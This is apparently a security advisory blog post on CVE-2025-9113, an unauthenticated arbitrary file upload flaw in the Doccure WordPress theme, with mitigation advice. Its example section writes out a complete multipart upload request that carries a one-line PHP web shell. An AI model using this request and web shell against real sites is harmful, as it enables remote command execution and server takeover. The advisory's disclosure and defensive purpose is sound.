Overview
In the ever-evolving landscape of cybersecurity, a new and critical vulnerability has surfaced that threatens vast numbers of websites powered by WordPress. This blog post serves to inform developers, administrators, and other stakeholders about the specifics of the vulnerability CVE-2025-9113, its potential impact, and measures to mitigate it.
This vulnerability lies in the Doccure theme for WordPress and allows for arbitrary file uploads, which can lead to remote code execution. The severity of this vulnerability cannot be understated, as it can potentially allow unauthenticated attackers to compromise a system or cause data leakage.
Vulnerability Summary
CVE ID: CVE-2025-9113
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage
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Product | Affected Versions
Doccure Theme for WordPress | Up to and including 1.4.8
How the Exploit Works
The ‘doccure_temp_upload_to_media’ function in Doccure WordPress theme is vulnerable due to a lack of file type validation. This vulnerability allows an attacker to upload arbitrary files to the server hosting the affected WordPress site.
The absence of an authentication mechanism for this function means that any user, authenticated or not, can exploit this vulnerability. After a successful exploit, the attacker can execute the uploaded file, leading to potential system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how an attacker might exploit the vulnerability using an HTTP POST request to upload a malicious payload.
POST /path/to/doccure_temp_upload_to_media HTTP/1.1
Host: vulnerablewebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, an attacker uploads a malicious PHP file (`exploit.php`) which, when executed, allows them to run arbitrary commands on the server.
Mitigation
To mitigate this vulnerability, apply the vendor’s patch as soon as it is available. If a patch is not yet available or cannot be applied immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Regularly update your systems and use secure coding practices to minimize the risk of such vulnerabilities.
